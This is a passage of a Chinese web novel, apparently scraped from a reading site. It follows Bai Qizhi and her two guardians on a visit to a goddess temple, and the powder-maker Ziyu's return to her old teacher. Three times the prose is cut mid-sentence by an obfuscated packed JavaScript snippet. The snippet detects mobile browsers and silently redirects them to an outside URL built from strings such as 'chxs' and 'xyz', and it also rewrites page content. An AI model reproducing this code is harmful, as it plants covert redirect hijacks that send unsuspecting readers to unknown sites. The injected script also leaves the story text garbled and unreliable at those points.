但其实白栖枝并不信这些神啊仙啊的——她家里就不信这个。 但她不愿扫了林听澜的兴，外加三人好不容易能有共处游玩的机会，她自然是一副欢欣雀跃的模样。 不开心的人反倒是沈忘尘。 他自得知这事儿后有些闷闷不乐：倒也不是他不愿意同两人出去散心，只是他这身子太过麻烦，若是两人肯放他在山脚等待倒也还好，但偏巧这两人想带她一起去山上拜一拜。 爬山，他怕是不能了，只能装作神形惫懒，平日里除却管查林府账本，就是赖在被窝里装病，吓得林听澜信以为真，来找他的次数都肉眼可见的少了。 好在白栖枝是个心思细腻的，从中看出些端倪来，当林听澜同她说这次游行沈忘尘不能同去时，她便一口反问道：“当真是沈哥哥不能同去吗？还是他担心自己的身子麻烦，不愿同去呢？” 这一问，反倒让林听澜记起来了。 也是，自从忘尘断腿后就鲜少出门，每次他想约他出去透口气，这人不是称病就是称乏。 究竟是他真的病了乏了，还是他心内自卑，不想让人看见自己这幅狼狈样子呢？ 于是在出行的那天，两人难得地站在一边，连哄带骗地把沈忘尘带上马车，而等到沈忘尘终于察觉两人想要干什么的时候，已经来不及了。 马车咕噜噜地滚着木轮子，缓慢而稳重地朝神女庙驶去。 神女庙建在曲阳山上。 曲阳山雄伟高大，山峰高耸入云，山腰间终日云雾缭绕，宛若神女轻纱曼舞，若隐若现。每至晌午时分，太阳高悬，阳光就会透过云层洒落山间，直直照在那处新建成的神女庙上，映得整座神女庙浮光跃金，熠熠生辉。 马车距离神女庙还有段距离，一路上，白栖枝就跟个没见识的小孩一样，一直傻乐着趴在车身上朝外看。 她从轩内往外看，举目远眺，眼中尽是山川与飞鸟。 一时间，天入眼，眼映天，倒叫人分不清那山涧飞鸟到底是在天上遨游，还是在她那双清澈眼眸中流淌了。 “枝枝。” 身后蓦地传来一声温存的轻唤，白栖枝掀帘回身，就见着沈忘尘拿着一枚荷花酥递到她面前。 “饿不饿？”他悠然一笑，“待会儿上山要消耗不少气力，趁着眼下离山脚还有些距离，先吃点糕点垫垫肚子吧。” 白栖枝粲然一笑后双手接过，末了还不忘甜甜地道上句：“谢谢沈哥哥。” 说完，又看向他膝上那只缺了一块荷花酥的盒子，有些受宠若惊：“第一块是给我的？” 沈忘尘笑了笑，刚要说什么，一旁的林听澜插嘴道：“是啊，你沈哥哥迷信，平身最信什么第一口吃了长个子的胡言乱语，如今他能把第一个给你，是看你长得太矮了催你长……唔！” 嘴里被粗暴地塞了个桃花酥，林听澜转眼看向沈忘尘。 后者睨了他一眼，又赶忙回头安慰看起来快哭了的白栖枝，好声好气道：“别听你林哥哥的，枝枝才不矮，枝枝的个子正正好好，若是长得太高，恐怕就要跟你林哥哥一样没头脑了。” 白栖枝吓得赶紧收回了眼泪。 她可不要跟林听澜一样，笨笨的，还爱生气，自己要是同他一样的话，那下半辈子岂不是全悔了？ 如此想着，看着手中第一枚荷花酥，白栖枝十分纠结要不要做第一个下口的人。 “你瞧你，逗你两句就要哭。”林听澜第一个咬下手里的荷花酥，反问她道，“小时候爱哭也就算了，如今都十四岁了，怎么还这么爱哭鼻子？说出去也不怕被人笑话。” “呜……我也不想的嘛。”白栖枝一副哭哭脸，“可是一旦情绪激动，又或者是痛痛的话，我就是容易流眼泪的呀，你——呜！” 脸颊肉骤然被人狠狠掐出一大团，白栖枝忍无可忍地掉下一滴眼泪来。 好痛…… “还真是这样啊，忘尘你……”林听澜颇有玩味地收回手，转头就看见沈忘尘刀子似的目光，吓得他立刻委顿下去，心虚地目移到别处，咬着手里的荷花酥不吭声。 沈忘尘恨不得在他肩头狠狠锤一下：这人惹哭了孩子倒是爽了，最后还不得他来哄？ 狠狠睨了林听澜一眼，沈忘尘转过头来，又摆出平时那副贤良淑德的模样，从怀中费力拽出一张帕子，轻捏一角给白栖枝擦眼泪：“好枝枝，不哭不哭，待会儿沈哥哥帮你出气，咱们好好说他好不好。” “沈哥哥你不要奖赏他。” 骤然听到这句话，沈忘尘还以为自己耳朵也瘫了，手当即顿在原地，不知道该如何是好。 只听白栖枝十分委屈地哭诉道：“沈哥哥你不要奖赏他，他会爽的，他会很高兴的，沈哥哥不可以奖赏他，呜呜……” “噗。”沈忘尘一个没忍住，笑得肩头发颤。 旁边的林听澜急忙紧张得语无伦次道：“什么就奖赏了？我爽什么爽！什么高兴我高兴！你个小妮子怎么出去不学好，学了这么些乱七八糟的东西，都是跟谁学得？是不是宋家那小子？早就跟你说别跟他一起玩你非是不听，这下好，小小年纪嘴里全是些风言风语，我高兴什么我高兴！” 他越是辩解，白栖枝就越是一副“果然如此”的模样，赶紧拉着沈忘尘的衣角晃动着指着林听澜要他看。 沈忘尘笑得更厉害了，几乎要颠下座席，好在林听澜一直拦着他，这才没叫他真的摔下去。 沈忘尘几乎要笑出泪来，拍了拍白栖枝白嫩的小手背，急忙安抚道：“好好，沈哥哥不奖赏他，沈哥哥跟枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034801|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝是一伙的，沈哥哥心疼枝枝，沈哥哥不奖赏他，枝枝不生气了好不好？” “呜……” 白栖枝只好一脸悲愤地收回手狠狠咬了口手里的荷花酥，却又因为荷花酥实在是太好吃而幸福到差点又掉下泪来。 三人就这样一路笑闹着来到山脚。 今天天气不错，没有下雨，日头也足，饶是到了山下也不觉得阴冷。 但两人仍怜沈忘尘体弱，拼命往他身上添衣物。 白栖枝从没想过沈忘尘居然这么高。 眼看着林听澜将他扶起，白栖枝从最开始的俯视，变为平视，又渐渐变成仰视，直到沈忘尘被林听澜和众人彻底扶着支起来，白栖枝整个人也彻底掩埋在他身躯的阴影里。 都说瘫痪之人会身形萎缩，但如今沈忘尘的身高看起来仍是身高五尺有余[1]，那他病前岂不是还得较之现在还要高上一头？ 白栖枝震惊地看着，以至于连自己已经目瞪口呆了都不知道，还是沈忘尘被林听澜背到背上后朝她望才看见她这幅可爱表情，忍不住又有些调侃地笑了笑。 白栖枝这才回过神收敛了表情，手背挡嘴嘿嘿一笑，随即赶紧迈开小步子跟紧林听澜的步伐，小尾巴一样在他身后优哉游哉地蹦蹦跳跳。 下过雨的山林一股子翻新的泥土味，混着空气里还在氤氲漂浮的湿润雨气，竟有股说不出来的好闻。 白栖枝大部分都跟在林听澜身后小心翼翼地护着沈忘尘，但偶尔，她也会忍不住小孩子秉性，去路边摘一摘石阶旁开始萌芽生长狗尾巴草和一些开得正盛地不知名野花。 大多数时候林听澜不会回头看的，除非她摘花的动静实在是太大，那人这才会回头训斥上几句，又被沈忘尘捂住嘴，继续愤愤地往山上爬。 白栖枝用这些小东西编了个特别好看的花环。 三人一踏入庙中，身后的随从们就手疾眼快地将那辆金丝楠木轮椅也搬上来，好让沈忘尘安稳坐好。 一旁的林听澜累得直冒汗。 白栖枝认为他身体还是不错的，一百零个台阶他背着沈忘尘一口气走完不说，还有力气将后者稳稳安置在轮椅内，如果是她的话，估计早就累趴下了吧。 “沈哥哥。”白栖枝借“花”献佛，将手中编好的花环双手奉上，“这个给你。”说完低下头一副等待夸奖的害羞模样，可爱得沈忘尘不住摸她的脑袋，一口一个好枝枝、乖枝枝地叫，连身旁那位打翻了一车醋坛子都不知道。 最后还是林听澜强行将沈忘尘的轮椅一转，朝白栖枝冷冷道：“快走吧，好不容易来一次，别连见神女的机会都挤不到。” 说完，长腿一迈飞速向前，搞得本来就很累的白栖枝只能拼命倒腾着小短腿跟在他身后吃力快跑，边跑边止不住地求饶道： “哎呀！你腿那么长，倒是慢点等等我呀！” “我追不上你们的嘛！” …… [1]在宋代，一尺的长度大约相当于31.68厘米，由此可以推出，沈忘尘身高大概在180cm左右（认真脸jpg.） 66. 卦辞 山上人来人往。 庙宇刚竣工不久，又声势浩大，自有不少人前来朝拜。 直到看到那副大大的漆金御赐牌匾，白栖枝才知道，这里并不叫神女庙。 迎春庙。 以那位神女的名字命名。 “祝迎春……”白栖枝将这三个字小心翼翼地在齿尖咀嚼，顿觉唇齿生香。 此刻林听澜正与庙内监院沟通捐赠香火的事，白栖枝就与沈忘尘在庙内后院处安心等待。 与前院不同，这里幽深僻静，鲜有人来，倒也不需要沈忘尘担心会有故友看见他如今这幅残态。 他心绪恬淡自然，白栖枝却恰恰相反。 她是第一次来这种地方，看什么都新奇，此刻正靠着墙角用自己的步子来丈量院中大小。 “一步、两步、三步……” 沈忘尘只见她远远走去，刚担心她被人拐走，就见着她又急急跑回来，像个小团雀一样站在她身边叽叽喳喳道：“沈哥哥沈哥哥，这里好大喔，我刚才从那边走到那边，整整用了三百二十步呢！哇……都快要赶上府里的花园大了！而且那边还种了和神女一样名字的迎春花，开得特别好看，我本来想给沈哥哥摘一朵看看来着，但是怕神女大人生气就没有敢摘，一会儿我推沈哥哥过去一起看看吧！还有还有……” 少女的开心如同一股新鲜的血液注入到沈忘尘的身体内，搅得他一颗灰白破败的心都忍不住跟着她这颗年轻活跃的心微颤起来。 他有多久没出门了呢？ 沈忘尘暗暗地想，白栖枝来的那天再往前推五天，阿澜还强硬地推着他去一处僻静无人的桂林里散心。 那时候虽然只有他二人，但因为他面色不好，阿澜一直很拘谨，只能笨拙地摘一枝开得正盛的桂花，蹲在他轮椅前，小心翼翼地递给他看，又哪里有如今这般快活？ 快活？ 意识到自己在心中用了这个词，沈忘尘忍不住一愣，随后展眉微笑—— 是啊，快活…… 如今他当真是快活…… 他恨不能死在这一刻。 身旁，小姑娘还在连珠炮似的同他说着这后院内的四处光景，甚至还遥遥指着远处那棵开得正好的迎春花给他看。 也就是这一瞬间，沈忘尘打从心底里觉得有什么不一样了。 ——他开始舍不得让白栖枝当他手中的棋子了。 “想什么呢？” 由远及近地一声唤传来，沈忘尘缓缓回神，抬头就见着林听澜拎着白栖枝红彤彤的耳朵，佯装生气地训斥道：“忘尘身子本就不适，你还在这里叽叽喳喳扰他清净，你个小妮子真是坏透了！” “呜呜呜，我没有！你撒手！你揪得我耳朵好痛！”白栖枝被他揪得止不住地扑腾。 可惜她的手脚对比林听澜的实在是太短，哪怕拼尽全力拳打脚踢，却连他的衣摆都脏不到，更何况她本就不敢真的去踹林听澜。 那人生气起来可骇人着呢！她可不想在这儿吃他的巴掌。 看着两人如此笑闹，沈忘尘本来是开心的，但莫名地，心脏又在隐隐作痛。 他不知道他是怎么了。 他欣慰——他嫉妒！ 他高兴——他憎恶！ 他喜欢小姑娘陪在他身边——他恨小姑娘没有残缺的躯体！ 只是这样想着，沈忘尘就觉得自己头痛欲裂。 一瞬间，他只觉得自己的灵魂被分为两半，一半如圣人般劝诫他：小姑娘对他这样好，他不能更不应该残忍地毁去她的一生；而另一半则如同从修罗地狱里爬出来的鬼魅，在他耳边低语道： “不，沈忘尘，你没有毁掉她，你看啊，她现在跟你的阿澜在一不也是很开心么？想想看，与其今后让她嫁给一个不知根知底的人，不如就让她嫁给阿澜，这样，你们三个、我们三个，就可以永永远远地在一起了！更何况她是个女人，她以后是能生孩子的，你呢？你能生出来个什么？林家的香火是需要女人去延续！等以后，她会为林家开枝散叶，到时候他的孩子就是你的孩子，那孩子生命就是你生命的延续，那这时候的你又在犹豫什么呢？你不是想一直陪在阿澜身边么？你不是爱他爱到什么都能放弃么？沈忘尘，你别以为自己是个什么干净东西，早在你断袖之癖被你阿父发现后，你早就不干净了！倘若那孩子不能顺理成章地成为阿澜的夫人，到时候阿澜娶进门的就不知道是哪个女人了！难道你真忍得下心，眼睁睁看着别的女人与你一同分食阿澜的爱么？！” “所以啊，与其让别人占着这个位置，不如由这个一手被你栽培起来的孩子占着这个位置，到时候，无论怎样，她还能念着几分对你的感恩之心施舍你一些欢喜，否则——” “你就等着死不瞑目吧！” ——死不瞑目！ 这四个字从心底油然而出，逼得沈忘尘忍不住死死抓住轮椅扶手，用力到骨节发白。 “忘尘，怎么了？！”见沈忘尘又隐隐有发病的迹象，林听澜赶紧松开白栖枝的耳朵蹲到他面前，关切地握住他的手，轻声问道，“是不是身体不舒服？” 一旁的白栖枝也吓得赶紧跑过来蹲下，一双黑白分明的大眼睛泪汪汪地看着他：“沈哥哥……” 沈忘尘仍陷在心魔里出不来，骤然看到白栖枝那张熟悉的小脸，他几乎是疯魔般地伸出手，朝她眉心那颗红痣缓缓抚去。 冰凉的指尖触及眉心，一种侵入骨髓的阴冷渐渐渗透进身体。 白栖枝怕得想往后躲，可看着沈忘尘那张惨白的脸，到底是没躲，闭上眼任她抚摸。 先是眉心，然后再是眼窝，最后是脸颊。 沈忘尘的手一点点下滑，动作温柔到令白栖枝几乎颤抖。 她睁开眼，忍不住怯弱地唤道：“沈哥哥……” 少女澄澈的眼如同晌午的日光，只是日光透过云雾打在神女庙上，她的目光透过梦魇打在沈忘尘心上。 沈忘尘怔怔回神，才意识到自己究竟在做什么。 他赶紧收回手，装作若无其事地笑笑：“枝枝累了吧？”他抬手，抹去白栖枝鬓边跑跳出来的汗水，“都跑出汗来了，好好歇一歇吧，歇一歇，再去拜神女。” 白栖枝不知道他此刻心绪，见他的脸一点点缓回血色，连带着眼神都不再阴冷虚无，还以为他方才只是身体不适，忍不住用温暖的手掌盖他冷若冰霜的手背，微微一笑道：“好，枝枝都听沈哥哥的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038278|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” ——都听沈哥哥的。 三人是被监院引进庙内的。 与其他寺庙的神像不同，别的神仙都是耸眼怜悯众生，唯独这位小神女模样俏皮，甚至还是一副扮鬼脸般憨态可掬的模样，但不知道为什么，只是看着她这张脸，就会令人不自觉地安下心来，仿佛她真的会偷偷躲在庙内一角，古灵精怪地偷偷欣赏着信徒们的诚信模样。 至神女向前，林听澜先是叩首三拜，然后让位给白栖枝。 林听澜许的什么愿白栖枝不知道，可白栖枝是真心希望沈忘尘快快好起来的。 都说久病之人心绪复杂，她希望沈哥哥能快快好起来。 他一定要快快好起来，不然…… 白栖枝没有在心中说出那个不然，她一为沈忘尘祈福，二愿父母阿兄那那边一切安好，三愿大昭宇内安宁再无第二桩白家惨案。 许完这三个愿望，白栖枝再无它愿。 她俯下身，恭敬地朝着神女拜上三拜，起身低眉退至一旁。 沈忘尘拜不得。 他下肢无力，别说跪，屈膝坐都坐不住，又遑论给神女叩首呢？ 如今神女像就在眼前，他闭目默念了三个愿望，又怔怔抬眸，看着神女脚下“祝迎春”三个大字。 ——祝迎春。 那便暂祝诸君：四季迎春，一生欢喜。 “哗啦！哗啦！哗啦！” 迎春花下，白栖枝紧张地盯着笼中的签字，只见一支竹签猛地从签中跃起，“啪”地一声落到桌上。 一枚迎春花被震得从枝头坠落，飘飘扬扬地没入白栖枝发间。 白栖枝恍若未觉，依旧紧紧盯着道士握笔，在胸前攥紧拳头，仿佛也跟着一起使劲儿。 “小姐，好了。” 一张折好的竹蜻蜓被递到白栖枝面前，白栖枝心里的大石头不但没有落地，反而提到了嗓子眼。 “谢谢大师！”白栖枝双手接过，跑到一旁，深呼吸三口大气，一边告诉自己不要激动，一边手抖着缓缓拆开那枚迎春神签。 只见那签上提着一首诗： 白鸟栖枝梦正甜，碧涛声里影难瞻。 一朝尘灰摧残去，凤烛啼血意犹怜。 “白鸟”“碧涛”“尘灰”…… 白栖枝不由得倒吸一口冷气。 突然—— “枝枝？” 远处传来沈忘尘温和地探询声，不由得叫白栖枝的手狠狠一抖。 她怕被两人发现端倪，赶紧佯装若无其事将纸条偷偷揉成一团，勉强维持出一抹笑意蹦蹦跳跳地回到两人面前。 沈忘尘微笑问道：“怎么样？枝枝抽到的卦辞可好？” “还好还好。”白栖枝唇角扬起了一抹笑，“沈哥哥和林哥哥的卦辞怎么样？” 沈忘尘悠悠道：“倒也还好。”说完，他顿了顿，温声道，“我们回家吧？” 回家。 好，回家。 白栖枝跟在两人身后，趁两人不注意，将那被揉成纸团的神签塞入口中，生生吞下，又恢复面上笑意，一蹦一跳同两人一起下山。 ——宛若迎接自己已定的宿命。 …… 67. 回家 清明时，白栖枝并没有给家人烧纸钱。 惨死之人的灵魂是会因为怨气太重而被束缚在葬身之地的。 她想，身在异乡，就算她烧了，阿娘阿爹和阿兄也未必能收得到。 她得回家去。 回家……回家…… 她早晚要回家去！ 只是这样想着，白栖枝又跻身进入香玉坊，操持着坊内的大小事务。 坊内众人怜她年纪尚小，纷纷劝她道：“枝枝，你这做得哪里是东家的活儿啊？东家都是负责大事情的，你看着全淮安，哪有一位东家天天像你这般往铺子里赶的？” ——枝枝。 自三月初后，白栖枝便不让大家一口一个地管她叫东家了，当年白栖枝淮安施粥的风头已过，现如今没人能再太记得她，她也甘愿被人这般“遗忘”下去。 宋长宴的那番无心之言倒是提醒了她，她“白栖枝”这个身份不能出现在台前，这个名字只适合做幕后，一个叫人辨不得行踪的幕后。 枝枝。 天下名字里带“枝”字的人多了去了，只要不带上姓氏，那些人中又有几个能认得她白栖枝？ 所以，这一次白栖枝没有再同大家讲她的难处，当然，这也没有什么好讲的。 她只规定让坊内的大家管她叫“枝枝”。 大家跟了她许久，自然知道她做一番事自有一番道理，也没多问，就跟着改口了，一开始还有些别扭，不过到后头叫着叫着就顺了，甚至觉得这个称呼比冷冰冰的“东家”还有人情味。 他们倒也乐得这样叫她。 一切都步入正轨，这事儿虽好，可带来的新的问题却也不容小觑。 现如今，香玉坊的名头虽然算是打出去了，可现如今店内的人手根本不足以撑起整个坊的名声。 相比起客人们的数量，坊内的人手简直是岌岌可危： 放眼整个香玉坊，只有掌柜一位，账房一位，制粉师一位，售货娘子三位，售货郎君一位，外加上能负责洒扫做不了胭脂管不了账更售不了货的莫伯。 老货跟不上供应，新货又没时间研制，可怜紫玉一双手都快忙得抽筋了，却还是难以跟得上女客们的巨大的需求量。 几人开始商量着从外头多聘请些伙计，可这事儿又哪里是说说就能成的？ 账房和售货娘子倒还好找些，在坊外贴个告示就成。 可现成的制粉师从哪里找？ 退一万步来讲，现成的制粉师也可以不着，紫玉也不是不能先培养学徒。 可是，学徒从哪里收？这培养所用的时间怎么算？ 胭脂水粉这玩意儿，男孩子不愿学，紫玉也拗着性子不愿意让男子来研制要用在女子脸上的玩意儿，这就导致店内只能收女学徒。 好，女学徒。 女学徒又从哪里找？ 紫玉不语，只是一味地在众人面前拍胸脯，并开始收拾行李打算去三十里外的乡镇去找自己已经不再制粉的师父去要几个小师妹。 眼下情况紧急，事情便只能这样做。 白栖枝就算再担心她，也不得不将这份重担放到她身上。 临走前，紫玉先是研究了一批新货，然后又手把手地教春花、游金凤与夏宝珠店里头旧款式的胭脂该怎么做 说起后面这俩人，她们倒也不算什么新伙计：前者是之前借桌椅让白栖枝画小像写春联的茶摊老板，后者则是说出那句“难道一直如此，便是一直对的么”叫白栖枝醍醐灌顶的面摊老板。两人都是在二月中旬被白栖枝请来做伙计的，两人觉得跟着她有前途，就将茶摊、面摊一租，来香玉坊做售货娘子了。 三人都是急脾气，夏宝珠倒还好，耐心够、劲头足，其余两位那是一个比一个的脾气急，尤其是最开始做出一堆失败品的时候，两人差点就要负气尥蹶子不干了，还是白栖枝牵着手一句一句地好心劝，答应这个月月底一定给她们涨月俸，这才让两人有耐心继续学习。 但她们两个异口同声地说了，月俸是一定不需要涨的，毕竟她们都是店内的伙计，白栖枝给她们开的价钱也不俗，她们没脸面再叫白栖枝给她们涨月俸。 为此，白栖枝感动到三番两次地在沈忘尘面前落泪，感叹自己真是遇天下顶好顶好的伙计了。 就这样，约么教了五天，春花终于带着大家满满的期待，化身全坊唯一的希望，朝山村里走去。 天又雨，原本一炷香就能到的地方，马车硬是走了半个时辰。 紫玉甚至无聊到把给师父带的豆沙方糕都快吃没一半了。 “姑娘，到了。” 好在此时雨已停，紫玉赶紧将剩余六块方糕手忙脚乱地用油纸包好，剩余迫不及待地跳下马车，结果刚一落地就踩进了水坑里，鞋袜都被泥水弄脏了。 紫玉十分不开心。 “给。”她气鼓鼓地将铜板一递，拎着自己的衣摆一边一蹦一跳地躲水洼，一边朝自己一小长大的院门外跑去。 看着面前几度被风吹雨打却只有几道划痕的门，紫玉直接扯开喉咙大喊道： “师父！！！” 树间飞鸟簌簌惊，院内却没有一丝动静，紫玉忍不住像小时候一样挠门。 “师父——” 是的，小时候师父一生气就把她推到门外说不要她了，她就是这样一边挠门一边大喊师父的。 门是被她挠坏的，从小养到大的几个徒弟里师父最疼的就是她，只要她喊上三声，师父准保就会软下心来给她开门了。 可今天她都喊了好几声，也不见师父开门。 难不成是师父家里出问题了？！ 紫玉不敢多想，登时将糕点往袖子里一踹，不顾自己的身份形象，两腿一蹬，扒着墙沿儿就往里翻。 别看她现在在这个公子那个公子面前都是一副重仪态的样子，小时候她可淘了，拉着众姐妹去河边偷野鸭蛋结果惹得众姐妹被野鸭子撵的是她，上树偷摘红果儿给姐妹们吃，结果姐妹们一咬就能看见蠕动的小虫子的人还是她。 从小到大，师父总会揪着耳朵骂她没有一点小姑娘的样子，将来指定没有男人要！ 那时候她才五六岁，遇到这种情况，她往往都会一脸讨好地抱着师父的腰来回晃动着撒娇道：“我不要男人，我要跟师父一直在一起，我还要等着长大给师父养老送终呢。” 她是被爹娘两三岁就送过来当学徒的。 说是当学徒，其实爹娘有了小弟弟就不想要她了，见师父这儿供吃供住还不收学费，就把她扔在这儿任她自生自灭了。 但师父要她，师父不仅要她，还很疼她，除了闯祸之外，师父都没怎么罚过她——师父特别疼她！ 她在这儿活了十六个年头。 她是在十六岁被师父送到掌柜的那里去做制粉师的，那时候师父就已近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044569|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及艾之年[1]了，鬓角都斑白了。 她猜，师父一定是不想让她在她身边耽误下去才给她送到香玉坊当制粉师的。 就这么想着，紫玉手臂猛地一用力。 这几年她虽在淮安城内做了几年的售货娘子和制粉师，可就不代表她忘了小时候那些“偷鸡摸狗”的绝活儿了。 紫玉轻松翻过矮墙，在院内四处搜寻：“师父？师父？师父师父师父！” 没人响应。 灶房里还飘出几缕袅袅白烟，紫玉担心屋内起火赶紧跑进去查看，结果一踏进灶房，就看到冒烟的原是灶房里用柴火炖着的大铁锅。 她掀盖一看—— 白腾腾地雾气霎时间往她面上扑，混着浓郁的香气，直叫她头晕目眩。 好香！ 紫玉朝锅里一看，惊喜的不行：是野蘑菇炖小鸡，还是做好快要收汁的那种！ 要知道，她小时候师父最喜欢做这道菜给她师姐们吃了，她当时最喜欢吃鸡心，觉得那东西嚼起来好香，拿了筷子便要去捡，好在其余师姐们不喜欢吃这东西，便也任由她吃去。 紫玉吃得很满足。 见状，师父就经常会戳着她眉心打趣她：“好你个小紫玉，这么多年的心眼儿都被你一个人吃了，以后还不得长一身的心眼儿？！” “那就长嘛！”紫玉嚼嚼嚼道，“多长几个心眼才不会被人欺负啊！不然以后师姐们一不小心被坏人欺负了，我才有心眼儿帮她们赶坏人嘛！” 往往这时候，大家就会同师父一起打趣她道：“好好好，我们姐妹几个啊，以后就靠着你这个混世小魔王替我们撵跑坏人了。来！再多吃点，吃饱了才有力气打坏人，快趁热吃！” “咕噜噜。” 胃朊发出抱怨，紫玉渐渐从回忆里抽身而出，紫玉泄气地摸了摸自己扁扁的肚子。 好饿…… 她早上在香玉坊里忙活了一上午都没吃什么东西，眼下已经饿得肚子咕咕叫，刚才翻墙又费了她好大的力气，如果这个时候能吃上一个香喷喷的鸡腿的话…… 紫玉的眼珠忽而狡黠一转—— 假如她现在偷吃一个鸡腿，师父也不会生气的吧？ 师父最疼她了，小时候偷吃师父都没有说过她，况且她也有好好地将每个月一半的月俸上交给师父。 如今只是偷吃一个鸡腿，应该没问题吧？ 想着，紫玉苍蝇搓手，小心翼翼地扯下一只小小的鸡腿，烫的她在两手间递来递去，直到实在是饿得不行，才狠下心来大咬一口，差点激动到流出泪水。 ——东家！我吃到小时候的味道了！ 紫玉嚼着已经炖至软烂的鸡腿，忍不住用袖口擦了擦洇湿的眼。 就在她还沉浸在师父亲手炖的鸡腿中，就见着身后一道身影缓缓袭来。 她欣喜转身：“师！” “好你个小东西，居然敢跑到你姑奶奶偷鸡腿！” 还没等紫玉反应过来，只听得脑壳“咚”地一声，随后传来师父惊讶的大叫： “紫玉？怎么是你！” 怎么就不会是我呢？师父？ 紫玉想着，未吱一声，当即一歪脑袋，歪歪扭扭地朝地上倒去。 “紫玉！！！” [1]及艾之年：出自《礼记·曲礼上》“五十曰艾”，指五十岁左右的女性，头发开始变白，如同艾草的颜色。 68. 招人 紫玉醒来的时候天已经擦黑了。 师父这一棍敲得不轻，直到现在她脑子还是懵懵的。 少顷，师父端着一盘又热好的小鸡炖蘑菇进来，端到桌上。 桌面摆好了碗筷，又盛了香喷喷热乎乎的大白米饭。 有那么一瞬间，紫玉以为自己还在梦里，梦到小时候了。 但是……师姐师妹她们呢？ 院子里怎么只剩下师父了？ “醒了？快来吃饭，是你最喜欢的小鸡炖蘑菇。”师父将犹沾着水的手在小腹上抹了两把，当即坐下看她。 师父老了。 这是紫玉醒来后看见师父时脑中唯一出现的念头。 这才四年呢，师父的头发就已经灰白参半了，要知道当年师父把她送进香玉坊时，才只浅浅白了鬓角呢。 “看我做什么？”师父开口唤回了紫玉的心神，“快来吃饭！方才你昏迷的时候肚子一直在咕咕叫，搞得我还以为鸡不在我的锅里，在你肚子里呢！” 师父还是那么的嘴硬心软。 被这么一打趣，紫玉顿觉身心舒畅，“腾”地一声从床上站起，却又在一阵头晕目眩后又跌坐回床榻。 “小心点小心点！这么大的姑娘了还没个矜持。”师父明明一脸担心，嘴上却不饶人，“刚才我打你的那一帮子可不轻，你说你，回来就回来，进了院子就在院子里等着我，或者在卧房里等着我多好！非得偷偷摸摸地去灶房里偷吃！害的我还以为家里遭了贼呢！” 说完，她又抿了抿唇，眼中露出心疼的神色，放软了声音道：“还疼么？” “嘿嘿，不疼不疼！”紫玉摸着后脑勺憨笑道，“还没有我小时候去树上摘果子摔下来的疼。” 说到这儿，她又想起来当年和众师姐们跑到外头的林子里摘野果，当时她还没练好爬树的本领，就急着给众师姐们展示，结果下来的时候一下子没踩稳，就“扑通”一声掉在地上了。 好在那树不高，她摔下来也没摔坏，就是两只手磨破皮了，还卡进了小石子，回到院子里也没敢跟师父说，还是师父教她捣花时才无意间发现的。 当时紫玉觉得自己可厉害了，那么疼都没吭一声，要不是自己一不小心没藏好，师父才不会发现哩！ 后头就是师父一边用针给她挑掌心里石子，一边埋怨她像个小男孩儿似得淘。 因为从小被抛弃的缘故，紫玉最讨厌小男孩儿了，尤其是她那个刚出生就只被她看了一眼的弟弟。 那小东西皱巴巴的，像猴，又红彤彤的，像猴屁股，还没有毛没有牙齿。 总之就是不好看！ 爹娘居然因为那么个丑东西而把她抛弃了，紫玉最讨厌小男孩儿了！！！ 所以当师父这么说她的时候，她就愤愤不平地说道：“小男孩怎么了？男孩儿未必有女孩儿强呢！他们能干的活我也能干，他们干不了的活儿我更能干！师父别看你没有孩子，有我紫玉在，我一个人就能顶两个，定叫你儿女双全！” 师父没有孩子。 有过。 死胎。 夫君跑了。 身子败了。 此生再不能生育。 紫玉是唯一一个被师父从那么小养到这么大的徒弟，反正她这么多年都觉得师父跟娘没什么两样，甚至师父比娘还要好，所以她也就觉得自己和师父才是血脉相连的亲人。 至于那三个，谁管他们啊！ 死了都不干她的事！ 紫玉是真心想给师父当孩子为她养老送终的，她也觉得师父也是真心把她当做亲女儿来疼的，所以才会如此骄纵她，惹得其余师姐妹们光是看着就牙酸。 “对了，师父。”想到师姐妹们，紫玉忍不住问道，“我那些师姐师妹们呢？” “走了。” “走了？” “嗯，走了。”师父一脸淡然地往自己碗里夹菜，“现如今其他制粉师都有了新法子，不仅制粉快，颜色还好，大家为了讨生活，就都去学新法子了。更何况，咱们这门手艺工序多，用时长，现如今店家们都讲求省时省力，如今还有哪个店家喜欢再用我这费力不讨好的古法制粉去？” “有啊！香玉坊啊！”紫玉脱口而出道，“我们东家最喜欢咱们这个老法子了，别的那些个制粉师的法子她都不用呢，就要咱们这法子来用！这不，我这次来就是来找师姐师妹们一起去坊里做制粉师的，谁想到……” 